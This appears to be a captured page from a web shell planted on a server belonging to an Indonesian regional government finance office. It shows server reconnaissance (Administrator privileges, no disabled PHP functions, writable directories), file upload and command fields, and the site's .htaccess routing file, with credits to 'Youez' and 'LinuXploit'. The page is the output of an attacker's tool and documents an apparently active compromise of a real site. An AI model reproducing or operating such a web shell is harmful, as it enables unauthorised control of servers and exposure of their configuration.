403Webshell
Server IP : 127.0.0.1  /  Your IP : 192.168.99.1
Web Server : Apache/2.4.35 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9
System : Windows NT WIN-JEJMB9EN0L0 10.0 build 14393 (Windows Server 2016) AMD64
User : Administrator ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /bpkd_/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /bpkd_/.htaccess
# .htaccess di ROOT domain (bpkd.lumajangkab.go.id)
<IfModule mod_rewrite.c>
RewriteEngine On

# =====================================================
# API - JANGAN DI-REWRITE
# =====================================================
RewriteRule ^api(/|$) - [L]

# =====================================================
# FORCE HTTPS (PALING ATAS - PRIORITAS UTAMA)
# =====================================================
# Redirect HTTP ke HTTPS + hapus www sekaligus
RewriteCond %{HTTPS} off [OR]
RewriteCond %{HTTP_HOST} ^www\. [NC]
RewriteRule ^ https://bpkd.lumajangkab.go.id%{REQUEST_URI} [R=301,L]

# =====================================================
# Redirect index.php ke root (DIPERBAIKI)
# =====================================================
RewriteCond %{THE_REQUEST} ^[A-Z]{3,9}\ /index\.php(\?[^\s]+)?\ HTTP/
RewriteRule ^ /%1 [R=301,L]

# =====================================================
# Jangan rewrite untuk admin
# =====================================================
RewriteRule ^admin($|/) - [L]

# =====================================================
# Jangan rewrite untuk file/folder yang ada
# =====================================================
RewriteCond %{REQUEST_FILENAME} -f [OR]
RewriteCond %{REQUEST_FILENAME} -d
RewriteRule . - [L]

# =====================================================
# ROUTING FRONTEND
# =====================================================

# Live_absen
RewriteRule ^liveabsen$ live_absensi.php [L,QSA]

# Laporan
RewriteRule ^laporan$ laporan.php [L,QSA]
RewriteRule ^laporan/([a-z0-9_-]+)$ laporan.php?kategori=$1 [L,QSA]

# Artikel (prioritas hash dulu, baru slug)
RewriteRule ^artikel/([a-zA-Z0-9]{10,32})$ detail-artikel.php?hash=$1 [L,QSA]
RewriteRule ^artikel/([a-z0-9_-]+)$ detail-artikel.php?slug=$1 [L,QSA]

# Repost URL: /repost/afdj49003sf → repost.php?hash=afdj49003sf
RewriteRule ^repost/([a-zA-Z0-9]+)/?$ repost.php?hash=$1 [L,QSA]

# Kategori
RewriteRule ^kategori/([a-z0-9_-]+)$ kategori.php?slug=$1 [L,QSA]

# Berita
RewriteRule ^berita$ berita.php [L,QSA]
RewriteRule ^berita/page/([0-9]+)$ berita.php?page=$1 [L,QSA]

# Pengumuman
RewriteRule ^pengumuman$ announcements.php [L,QSA]
RewriteRule ^pengumuman/([0-9]+)$ announcement.php?id=$1 [L,QSA]
RewriteRule ^pengumuman/page/([0-9]+)$ announcements.php?page=$1 [L,QSA]

# Galeri
RewriteRule ^galeri$ galeri.php [L,QSA]
RewriteRule ^galeri/([0-9]+)$ galeri.php?id=$1 [L,QSA]
RewriteRule ^galeri/album/([a-z0-9_-]+)$ galeri.php?album=$1 [L,QSA]

# Lelang
RewriteRule ^lelang$ lelang.php [L,QSA]
RewriteRule ^lelang/([a-z0-9_-]+)$ lelang.php?slug=$1 [L,QSA]

# IKM
RewriteRule ^ikm$ ikm.php [L,QSA]
RewriteRule ^ikm/page/([0-9]+)$ ikm.php?page=$1 [L,QSA]

# Profil
RewriteRule ^profil$ profil.php [L,QSA]

# Halaman Statis (profil/struktur, profil/tugas, dll)
RewriteRule ^([a-z0-9_-]+)/([a-z0-9_-]+)$ page.php?prefix=$1&slug=$2 [L,QSA]

# Kontak
RewriteRule ^kontak$ kontak.php [L,QSA]

# Manual & Dokumen
RewriteRule ^manual$ manual.php [L,QSA]

# SATUDATA
RewriteRule ^satudata$ satudata.php [L,QSA]
RewriteRule ^dssd$ dssd.php [L,QSA]

# =====================================================
# IZINKAN AKSES KE download.php (TANPA REDIRECT)
# =====================================================
RewriteRule ^download\.php$ - [L]

# Pencarian
RewriteRule ^cari/(.+)$ search.php?q=$1 [L,QSA]

# Tag
RewriteRule ^tag/([a-z0-9_-]+)$ tag.php?slug=$1 [L,QSA]

# =====================================================
# HAPUS EKSTENSI .php UNTUK HALAMAN BIASA
# =====================================================
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME}.php -f
RewriteRule ^([^/]+)$ $1.php [L]

</IfModule>

# =====================================================
# HSTS HEADER (Keamanan Ekstra)
# =====================================================
<IfModule mod_headers.c>
    Header always set Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" env=HTTPS
    Header set X-Content-Type-Options "nosniff"
    Header set X-Frame-Options "SAMEORIGIN"
    Header set X-XSS-Protection "1; mode=block"
</IfModule>

# =====================================================
# KEAMANAN
# =====================================================
Options -Indexes

# Proteksi file sensitif
<FilesMatch "\.(htaccess|htpasswd|ini|log|sh|sql|bak|config|json)$">
    Require all denied
</FilesMatch>

# Error Documents
ErrorDocument 404 /404.php
ErrorDocument 403 /403.php
ErrorDocument 500 /500.php

Youez - 2016 - github.com/yon3zu
LinuXploit